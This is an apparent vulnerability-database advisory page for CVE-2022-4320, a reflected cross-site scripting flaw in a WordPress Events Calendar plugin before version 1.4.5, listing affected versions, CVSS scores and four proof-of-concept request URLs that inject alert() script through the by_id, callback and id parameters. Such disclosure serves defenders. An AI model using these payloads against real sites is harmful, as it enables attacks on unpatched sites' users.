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CVE-2022-4320

🗓️ 16 Jan 2023 15:37:53Reported by WPScanType 
cve
 cve
🔗 web.nvd.nist.gov📰️ 1 Media mentions👁 72 Views🌐 WEB

WordPress Events Calendar plugin before 1.4.5 allows Reflected Cross-Site Scripting

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[
  {
    "vendor": "Unknown",
    "product": "WordPress Events Calendar Plugin",
    "versions": [
      {
        "status": "affected",
        "versionType": "custom",
        "version": "0",
        "lessThan": "1.4.5"
      }
    ],
    "defaultStatus": "unaffected",
    "collectionURL": "https://wordpress.org/plugins"
  }
]
ParameterPositionPathDescriptionCWE
by_idquery param/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(`xss`)</script>Reflected XSS via by_id or callback parameter in cd_displayday flow of the calendar plugin.CWE-79
callbackquery param/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(`xss`)</script>Reflected XSS via by_id or callback parameter in cd_displayday flow of the calendar plugin.CWE-79
idquery param/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(`xss`);</script>Reflected XSS via id parameter in cd_calendar flow of the calendar plugin.CWE-79
callbackquery param/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(`xss`)</script>Reflected XSS via callback parameter in cd_dismisshint flow of the calendar plugin.CWE-79

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04 Apr 2025 19:15Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.16.1
EPSS0.04142
SSVC
72